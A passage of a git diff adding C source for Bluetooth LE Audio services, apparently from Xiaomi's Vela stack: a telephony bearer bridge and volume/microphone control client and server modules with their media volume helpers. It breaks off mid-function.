call_info->lineIdentification); + strcpy((char*)call_s->incoming_target_uri, call_info->lineIdentification); + strcpy((char*)call_s->friendly_name, call_info->name); + + lea_tbs_add_call(call_s); + + return call_s; +} + +static void tbs_on_tapi_client_ready(const char* client_name, void* user_data) +{ + char* name = (char*)BTS_DEFAULT_NAME; + tapi_signal_strength ss = { 0 }; + tapi_pref_net_mode value = NETWORK_PREF_NET_TYPE_ANY; + lea_tbs_telephone_bearer_t* bearer; + + bearer = (lea_tbs_telephone_bearer_t*)malloc(sizeof(lea_tbs_telephone_bearer_t)); + if (client_name != NULL) + BT_LOGD("%s :tapi is ready for %s\n", __func__, client_name); + + tapi_network_get_display_name(context, PRIMARY_SLOT, &name); + tapi_get_pref_net_mode(context, PRIMARY_SLOT, &value); + tapi_network_get_signalstrength(context, PRIMARY_SLOT, &ss); + + bearer->bearer_ref = (void*)BTS_DEFAULT_BEARER_REF; + strcpy((char*)bearer->provider_name, name); + strcpy((char*)bearer->uci, BTS_DEFAULT_UCI); + strcpy((char*)bearer->uri_schemes, BTS_DEFAULT_URI_SCHEMES); + bearer->technology = net_mode_to_tbs_tech(value); + bearer->signal_strength = ss.rssi; + bearer->signal_strength_report_interval = BTS_DEFAULT_SIGNAL_STRENGTH_REPORT_INTERVAL; + bearer->status_flags = BTS_DEFAULT_STATUS_FLAGS; + bearer->optional_opcodes_supported = BTS_DEFAULT_OPTIONAL_OPCODE_SUPPORTED; + + lea_tbs_set_telephone_bearer_info(bearer); + free(bearer); + bearer = NULL; +} + +static void tbs_call_list_query_complete(tapi_async_result* result) +{ + tapi_call_info* call_info; + lea_tbs_call_state_t* state_s = malloc(sizeof(lea_tbs_call_state_t) * result->arg2); + lea_tbs_call_state_t* sub_call; + + if (result->status != OK) + return; + + if (result->arg2 == 0) + return; + + call_info = result->data; + + for (int i = 0; i < result->arg2; i++) { + (state_s + i)->index = get_call_index(call_info[i].call_id); + (state_s + i)->state = call_state_to_tbs_state(call_info[i].state); + (state_s + i)->flags = lea_tbs_get_call_flags(call_state_to_tbs_state(call_info[i].state)); + BT_LOGD("%s, state:%d", __func__, (state_s + i)->state); + + sub_call = lea_tbs_find_call_by_index((state_s + i)->index); + if (!sub_call) { + bt_list_add_tail(g_current_calls, state_s + i); + } else { + memcpy(sub_call, state_s + i, sizeof(lea_tbs_call_state_t)); + } + } + lea_tbs_call_state_changed(result->arg2, state_s); +} + +static void tbs_call_manager_call_async_fun(tapi_async_result* result) +{ + uint8_t call_index; + lea_adpt_termination_reason_t reason; + tapi_call_info* call_info; + tapi_cell_identity** cell_list; + tapi_cell_identity* cell; + int param = result->arg2; + + call_info = (tapi_call_info*)result->data; + + if (result->msg_id == MSG_CELLINFO_CHANGE_IND) { + cell_list = result->data; + + if (cell_list != NULL) { + while (--param >= 0) { + cell = *cell_list++; + } + } + + lea_tbs_provider_name_changed((uint8_t*)cell->alpha_long); + lea_tbs_bearer_technology_changed(cell->type); + lea_tbs_rssi_value_changed(cell->signal_strength.rsrp); + } + + if (call_info->state != CALL_STATUS_DISCONNECTED) { + lea_tbs_tele_add_call(call_info); + tapi_call_get_all_calls(context, PRIMARY_SLOT, TBS_EVENT_REQUEST_CALL_LIST_DONE, + tbs_call_list_query_complete); + } else { + call_index = get_call_index(call_info->call_id); + reason = call_term_reason_to_tbs_reason(call_info->disconnect_reason); + + lea_tbs_notify_termination_reason(call_index, reason); + bt_list_remove(g_current_calls, lea_tbs_find_call_by_index(call_index)); + lea_tbs_remove_call(get_call_index(call_info->call_id)); + } +} + +static int tbs_listen_call_manager_change() +{ + int watch_id; + + watch_id = tapi_call_register_call_state_change(context, PRIMARY_SLOT, NULL, + tbs_call_manager_call_async_fun); + if (watch_id < 0) + return watch_id; + + watch_id = tapi_network_register(context, PRIMARY_SLOT, MSG_CELLINFO_CHANGE_IND, + NULL, tbs_call_manager_call_async_fun); + if (watch_id < 0) + return watch_id; + + return watch_id; +} + +bt_status_t tele_service_accept_call(char* call_id) +{ + tapi_call_answer_by_id(context, PRIMARY_SLOT, call_id); + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_terminate_call(char* call_id) +{ + isRemoteControl = true; + + tapi_call_hangup_by_id(context, PRIMARY_SLOT, call_id); + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_hold_call() +{ + tapi_call_hold_call(context, PRIMARY_SLOT); + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_unhold_call() +{ + tapi_call_unhold_call(context, PRIMARY_SLOT); + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_originate_call(char* uri) +{ + tapi_call_dial(context, PRIMARY_SLOT, uri, 0, TBS_EVENT_REQUEST_DIAL_DONE, + NULL); + + return BT_STATUS_SUCCESS; +} + +void lea_tbs_tele_service_init(void) +{ + char* dbus_name = "vela.bluetooth.tool"; + context = tapi_open(dbus_name, tbs_on_tapi_client_ready, NULL); + if (context == NULL) { + return; + } + g_current_calls = bt_list_new(NULL); + tbs_listen_call_manager_change(); +} + +#endif \ No newline at end of file diff --git a/service/profiles/leaudio/vmicp/lea_vmicp_event.c b/service/profiles/leaudio/vmicp/lea_vmicp_event.c new file mode 100644 index 0000000000000000000000000000000000000000..a8f494ad6a208e60cc0c410d03ec820280513ad6 --- /dev/null +++ b/service/profiles/leaudio/vmicp/lea_vmicp_event.c @@ -0,0 +1,40 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "lea_vmicp_event.h" + +lea_vmicp_msg_t* lea_vmicp_msg_new(lea_vmicp_event_t event, bt_address_t* remote_addr) +{ + lea_vmicp_msg_t* msg; + + msg = (lea_vmicp_msg_t*)malloc(sizeof(lea_vmicp_msg_t)); + if (!msg) + return NULL; + + msg->event = event; + memset(&msg->data, 0, sizeof(msg->data)); + if (remote_addr != NULL) + memcpy(&msg->remote_addr, remote_addr, sizeof(bt_address_t)); + return msg; +} + +void lea_vmicp_msg_destory(lea_vmicp_msg_t* msg) +{ + free(msg); +} diff --git a/service/profiles/leaudio/vmicp/lea_vmicp_service.c b/service/profiles/leaudio/vmicp/lea_vmicp_service.c new file mode 100644 index 0000000000000000000000000000000000000000..fdbae5e3ac2cf3dedad614e2e193aa3c4dcf9a91 --- /dev/null +++ b/service/profiles/leaudio/vmicp/lea_vmicp_service.c @@ -0,0 +1,366 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_vmicp_service" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_vmicp.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_audio_common.h" +#include "lea_vmicp_event.h" +#include "lea_vmicp_service.h" +#include "sal_lea_vmicp_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "tapi.h" +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP +/**************************************************************************** + * Private Data + ****************************************************************************/ + +#define CHECK_ENABLED() \ + { \ + if (!g_vmicp_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define VMICP_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_vmicp_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct +{ + bool started; + callbacks_list_t* callbacks; + pthread_mutex_t vmicp_lock; +} lea_vmicp_service_t; + +static lea_vmicp_service_t g_vmicp_service = { + .started = false, + .callbacks = NULL, +}; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static void lea_vmicp_process_message(void* data) +{ + lea_vmicp_msg_t* msg = (lea_vmicp_msg_t*)data; + switch (msg->event) { + case STACK_EVENT_VCC_VOLUME_STATE: { + VMICP_CALLBACK_FOREACH(g_vmicp_service.callbacks, volume_state_cb, &msg->remote_addr, + msg->data.vol_state.volume, msg->data.vol_state.mute); + break; + } + case STACK_EVENT_VCC_VOLUME_FLAGS: { + VMICP_CALLBACK_FOREACH(g_vmicp_service.callbacks, volume_flags_cb, &msg->remote_addr, msg->data.vol_flags); + break; + } + case STACK_EVENT_MICC_MUTE_STATE: { + VMICP_CALLBACK_FOREACH(g_vmicp_service.callbacks, mic_state_cb, &msg->remote_addr, msg->data.mic_mute_state); + break; + } + default: { + BT_LOGE("Idle: Unexpected stack event"); + break; + } + } + lea_vmicp_msg_destory(msg); +} + +static bt_status_t lea_vmicp_send_msg(lea_vmicp_msg_t* msg) +{ + assert(msg); + do_in_service_loop(lea_vmicp_process_message, msg); + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_vmicp_on_volume_state_changed(bt_address_t* addr, uint8_t volume, uint8_t mute) +{ + lea_vmicp_msg_t* msg = lea_vmicp_msg_new(STACK_EVENT_VCC_VOLUME_STATE, addr); + msg->data.vol_state.volume = volume; + msg->data.vol_state.mute = mute; + lea_vmicp_send_msg(msg); +} +void lea_vmicp_on_volume_flags_changed(bt_address_t* addr, uint8_t flags) +{ + lea_vmicp_msg_t* msg = lea_vmicp_msg_new(STACK_EVENT_VCC_VOLUME_FLAGS, addr); + msg->data.vol_flags = flags; + lea_vmicp_send_msg(msg); +} +void lea_vmicp_on_mic_state_changed(bt_address_t* addr, uint8_t mute) +{ + lea_vmicp_msg_t* msg = lea_vmicp_msg_new(STACK_EVENT_MICC_MUTE_STATE, addr); + msg->data.mic_mute_state = mute; + lea_vmicp_send_msg(msg); +} + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static bt_status_t lea_vcc_vol_get(bt_address_t* remote_addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_read_volume_state(remote_addr); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_read_volume_state err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vcc_flags_get(bt_address_t* remote_addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_read_volume_flags(remote_addr); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_read_volume_flags err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vcc_vol_change(bt_address_t* remote_addr, int dir) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_change_volume(remote_addr, dir); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_change_volume err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vcc_vol_unmute_change(bt_address_t* remote_addr, int dir) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_change_unmute_volume(remote_addr, dir); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_change_unmute_volume err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vcc_vol_set(bt_address_t* remote_addr, int vol) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_set_absolute_volume(remote_addr, vol); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_vcs_volume_flags_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vcc_mute_state_set(bt_address_t* remote_addr, int state) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_set_mute(remote_addr, state); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_vcs_volume_flags_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_micc_mute_state_get(bt_address_t* remote_addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_read_mic_state(remote_addr); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_get_mic_state err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_micc_mute_state_set(bt_address_t* remote_addr, int state) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + ret = bt_sal_vmicp_set_mic_state(remote_addr, state); + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, bt_sal_vmicp_set_mic_state err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void* lea_vmicp_register_callbacks(void* handle, lea_vmicp_callbacks_t* callbacks) +{ + if (!g_vmicp_service.started) + return NULL; + + return bt_remote_callbacks_register(g_vmicp_service.callbacks, handle, (void*)callbacks); +} + +static bool lea_vmicp_unregister_callbacks(void** handle, void* cookie) +{ + if (!g_vmicp_service.started) + return false; + + return bt_remote_callbacks_unregister(g_vmicp_service.callbacks, handle, cookie); +} + +static const lea_vmicp_interface_t leaVmicpInterface = { + .size = sizeof(leaVmicpInterface), + .vol_get = lea_vcc_vol_get, + .flags_get = lea_vcc_flags_get, + .vol_change = lea_vcc_vol_change, + .vol_unmute_change = lea_vcc_vol_unmute_change, + .vol_set = lea_vcc_vol_set, + .mute_state_set = lea_vcc_mute_state_set, + .mic_mute_get = lea_micc_mute_state_get, + .mic_mute_set = lea_micc_mute_state_set, + + .register_callbacks = lea_vmicp_register_callbacks, + .unregister_callbacks = lea_vmicp_unregister_callbacks, +}; + +/**************************************************************************** + * Public function + ****************************************************************************/ +static const void* get_lea_vmicp_profile_interface(void) +{ + return &leaVmicpInterface; +} + +static bt_status_t lea_vmicp_init(void) +{ + BT_LOGD("%s", __func__); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vmicp_startup(profile_on_startup_t cb) +{ + BT_LOGD("%s", __func__); + bt_status_t status; + pthread_mutexattr_t attr; + lea_vmicp_service_t* service = &g_vmicp_service; + if (service->started) + return BT_STATUS_SUCCESS; + + service->callbacks = bt_callbacks_list_new(3); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->vmicp_lock, &attr); + service->started = true; + + return BT_STATUS_SUCCESS; + +fail: + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->vmicp_lock); + return status; +} + +static bt_status_t lea_vmicp_shutdown(profile_on_shutdown_t cb) +{ + if (!g_vmicp_service.started) + return BT_STATUS_SUCCESS; + + pthread_mutex_lock(&g_vmicp_service.vmicp_lock); + g_vmicp_service.started = false; + + bt_callbacks_list_free(g_vmicp_service.callbacks); + g_vmicp_service.callbacks = NULL; + pthread_mutex_unlock(&g_vmicp_service.vmicp_lock); + pthread_mutex_destroy(&g_vmicp_service.vmicp_lock); + return BT_STATUS_SUCCESS; +} + +static void lea_vmicp_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_vmicp_dump(void) +{ + printf("impl leaudio tbs dump"); + return 0; +} + +static const profile_service_t lea_vmicp_service = { + .auto_start = true, + .name = PROFILE_VMICP_NAME, + .id = PROFILE_LEAUDIO_VMICP, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_vmicp_init, + .startup = lea_vmicp_startup, + .shutdown = lea_vmicp_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_vmicp_profile_interface, + .cleanup = lea_vmicp_cleanup, + .dump = lea_vmicp_dump, +}; + +void register_lea_vmicp_service(void) +{ + register_service(&lea_vmicp_service); +} + +#endif \ No newline at end of file diff --git a/service/profiles/leaudio/vmics/lea_vmics_event.c b/service/profiles/leaudio/vmics/lea_vmics_event.c new file mode 100644 index 0000000000000000000000000000000000000000..132286af5ebc58f46dcd47d14dad8c5b88b2b3e1 --- /dev/null +++ b/service/profiles/leaudio/vmics/lea_vmics_event.c @@ -0,0 +1,38 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "lea_vmics_event.h" + +lea_vmics_msg_t* lea_vmics_msg_new(lea_vmics_event_t event) +{ + lea_vmics_msg_t* msg; + + msg = (lea_vmics_msg_t*)malloc(sizeof(lea_vmics_msg_t)); + if (!msg) + return NULL; + + msg->event = event; + memset(&msg->data, 0, sizeof(msg->data)); + return msg; +} + +void lea_vmics_msg_destory(lea_vmics_msg_t* msg) +{ + free(msg); +} diff --git a/service/profiles/leaudio/vmics/lea_vmics_media_control.c b/service/profiles/leaudio/vmics/lea_vmics_media_control.c new file mode 100644 index 0000000000000000000000000000000000000000..56bb2d0582ac6c3faa6416345cec8d8cd40cb562 --- /dev/null +++ b/service/profiles/leaudio/vmics/lea_vmics_media_control.c @@ -0,0 +1,97 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#define LOG_TAG "bts_lea_vmics_media" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <string.h> + +#include "lea_vmics_media_control.h" +#include "media_api.h" +#include "media_session.h" +#include "utils.h" +#include "utils/log.h" + +/**************************************************************************** + * Public function + ****************************************************************************/ + +uint8_t btvol_convert2_mediavol(uint8_t vol) +{ + uint8_t volume; + if (vol >= 225) { + volume = 15; + } else if (vol == 0) { + volume = 0; + } else { + volume = vol / 17 + 1; + } + return volume; +} + +uint8_t mediavol_convert2_btvol(uint8_t vol) +{ + uint8_t volume; + if (vol >= 15) { + volume = 255; + } else if (vol == 0) { + volume = 0; + } else { + volume = vol * 17; + } + return volume; +} + +// server interface +void lea_vcs_vol_state_request(void* volume_session, uint8_t volume, uint8_t mute) +{ + BT_LOGD("%s, volume:%d, mute:%d", __func__, volume, mute); + uint8_t vol = btvol_convert2_mediavol(volume); + media_session_set_volume(volume_session, vol); + media_policy_set_mute_mode(mute); +} +void lea_vcs_vol_flags_request(uint8_t flags) +{ + BT_LOGD("%s,flags:%d", __func__, flags); +} + +void lea_mics_mic_mute_request(uint8_t mute) +{ + BT_LOGD("%s,mute:%d", __func__, mute); + if (!mute) { + media_policy_set_devices_use(MEDIA_DEVICE_MIC); + } else { + media_policy_set_devices_unuse(MEDIA_DEVICE_MIC); + } +} + +uint8_t lea_vcs_get_volume(void* volume_session) +{ + int volume = 0; + media_session_get_volume(volume_session, &volume); + BT_LOGD("%s, volume:%d", __func__, volume); + return mediavol_convert2_btvol(volume); +} + +uint8_t lea_vcs_get_mute(void) +{ + int mute = 0; + media_policy_get_mute_mode(&mute); + BT_LOGD("%s, mute:%d", __func__, mute); + return mute; +} diff --git a/service/profiles/leaudio/vmics/lea_vmics_media_control.h b/service/profiles/leaudio/vmics/lea_vmics_media_control.h new file mode 100644 index 0000000000000000000000000000000000000000..62ca69cfb593edc505b93c9ecf8649c29905608e --- /dev/null +++ b/service/profiles/leaudio/vmics/lea_vmics_media_control.h @@ -0,0 +1,33 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_VMICS_MEDIA_CONTROL_H__ +#define __LEA_VMICS_MEDIA_CONTROL_H__ + +#include <stdint.h> + +/**************************************************************************** + * Public Function + ****************************************************************************/ + +// server interface +void lea_vcs_vol_state_request(void* volume_session, uint8_t volume, uint8_t mute); +void lea_vcs_vol_flags_request(uint8_t flags); +void lea_mics_mic_mute_request(uint8_t mute); + +uint8_t lea_vcs_get_volume(void* volume_session); +uint8_t lea_vcs_get_mute(void); + +#endif /* __LEA_VMICS_MEDIA_CONTROL_H__ */ \ No newline at end of file diff --git a/service/profiles/leaudio/vmics/lea_vmics_service.c b/service/profiles/leaudio/vmics/lea_vmics_service.c new file mode 100644 index 0000000000000000000000000000000000000000..828c6d3fef5b83637a8f5ad21debaf2d0216bafa --- /dev/null +++ b/service/profiles/leaudio/vmics/lea_vmics_service.c @@ -0,0 +1,309 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_vmics_service" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_vmics.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_vmics_event.h" +#include "lea_vmics_media_control.h" +#include "lea_vmics_service.h" +#include "sal_lea_vmics_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#include "media_session.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS +#define CHECK_ENABLED() \ + { \ + if (!g_vmics_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define VMICS_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_vmics_callbacks_t, _cback, ##__VA_ARGS__) +#define LEA_VMICS_MEDIA_SESSION_NAME "Music" + +typedef struct +{ + bool started; + callbacks_list_t* callbacks; + pthread_mutex_t vmics_lock; + void* volume_session; +} vmics_service_t; + +static vmics_service_t g_vmics_service = { + .started = false, + .callbacks = NULL, + + .volume_session = NULL, +}; + +/**************************************************************************** + * messange handle + ****************************************************************************/ +static void lea_vmics_process_message(void* data) +{ + lea_vmics_msg_t* msg = (lea_vmics_msg_t*)data; + switch (msg->event) { + case STACK_EVENT_VCS_VOLUME_STATE: { + lea_vcs_vol_state_request(g_vmics_service.volume_session, + msg->data.vol_state.volume, msg->data.vol_state.mute); + VMICS_CALLBACK_FOREACH(g_vmics_service.callbacks, test_cb, 0); + break; + } + case STACK_EVENT_VCS_VOLUME_FLAGS: { + lea_vcs_vol_flags_request(msg->data.vol_flags); + VMICS_CALLBACK_FOREACH(g_vmics_service.callbacks, test_cb, 0); + break; + } + case STACK_EVENT_MICS_MUTE_STATE: { + lea_mics_mic_mute_request(msg->data.mic_mute_state); + VMICS_CALLBACK_FOREACH(g_vmics_service.callbacks, test_cb, 0); + break; + } + default: { + BT_LOGE("Idle: Unexpected stack event"); + break; + } + } + lea_vmics_msg_destory(msg); +} + +static bt_status_t lea_vmics_send_msg(lea_vmics_msg_t* msg) +{ + assert(msg); + do_in_service_loop(lea_vmics_process_message, msg); + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_vmics_on_vcs_volume_state_changed(service_lea_vcs_volume_state_s* vol_state) +{ + lea_vmics_msg_t* msg = lea_vmics_msg_new(STACK_EVENT_VCS_VOLUME_STATE); + msg->data.vol_state.volume = vol_state->volume; + msg->data.vol_state.mute = vol_state->mute; + lea_vmics_send_msg(msg); +} + +void lea_vmics_on_vcs_volume_flags_changed(uint8_t flags) +{ + lea_vmics_msg_t* msg = lea_vmics_msg_new(STACK_EVENT_VCS_VOLUME_FLAGS); + msg->data.vol_flags = flags; + lea_vmics_send_msg(msg); +} + +void lea_vmics_on_mics_mute_state_changed(uint8_t mute) +{ + lea_vmics_msg_t* msg = lea_vmics_msg_new(STACK_EVENT_MICS_MUTE_STATE); + msg->data.mic_mute_state = mute; + lea_vmics_send_msg(msg); +} + +static bt_status_t lea_vmics_vol_notify(void* handle, int vol) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmics_service.vmics_lock); + ret = bt_sal_vmics_notify_vcs_volume(vol); + pthread_mutex_unlock(&g_vmics_service.vmics_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_vcs_volume_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vmics_mute_notify(void* handle, int mute) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmics_service.vmics_lock); + ret = bt_sal_vmics_notify_vcs_mute(mute); + pthread_mutex_unlock(&g_vmics_service.vmics_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_vcs_mute_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vmics_vol_flags_notify(void* handle, int flags) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmics_service.vmics_lock); + ret = bt_sal_vmics_notify_vcs_volume_flags(flags); + pthread_mutex_unlock(&g_vmics_service.vmics_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_vcs_volume_flags_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vmics_mic_mute_notify(void* handle, int mute) +{ + CHECK_ENABLED(); + bt_status_t ret; + pthread_mutex_lock(&g_vmics_service.vmics_lock); + ret = bt_sal_vmics_notify_mics_mute(mute); + pthread_mutex_unlock(&g_vmics_service.vmics_lock); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("fail, lea_mics_mute_changed err:%d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void* lea_vmics_register_callbacks(void* handle, lea_vmics_callbacks_t* callbacks) +{ + if (!g_vmics_service.started) + return NULL; + + return bt_remote_callbacks_register(g_vmics_service.callbacks, handle, (void*)callbacks); +} + +static bool lea_vmics_unregister_callbacks(void** handle, void* cookie) +{ + if (!g_vmics_service.started) + return false; + + return bt_remote_callbacks_unregister(g_vmics_service.callbacks, handle, cookie); +} + +static const lea_vmics_interface_t leaVmicsInterface = { + .size = sizeof(leaVmicsInterface), + .vcs_volume_notify = lea_vmics_vol_notify, + .vcs_mute_notify = lea_vmics_mute_notify, + .vcs_volume_flags_notify = lea_vmics_vol_flags_notify, + .mics_mute_notify = lea_vmics_mic_mute_notify, + .register_callbacks = lea_vmics_register_callbacks, + .unregister_callbacks = lea_vmics_unregister_callbacks, +}; + +static const void* get_lea_vmics_profile_interface(void) +{ + return &leaVmicsInterface; +} + +/**************************************************************************** + * Public function + ****************************************************************************/ +static bt_status_t lea_vmics_init(void) +{ + BT_LOGD("%s", __func__); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_vmics_startup(profile_on_startup_t cb) +{ + bt_status_t status; + pthread_mutexattr_t attr; + vmics_service_t* service = &g_vmics_service; + + BT_LOGD("%s", __func__); + if (service->started) + return 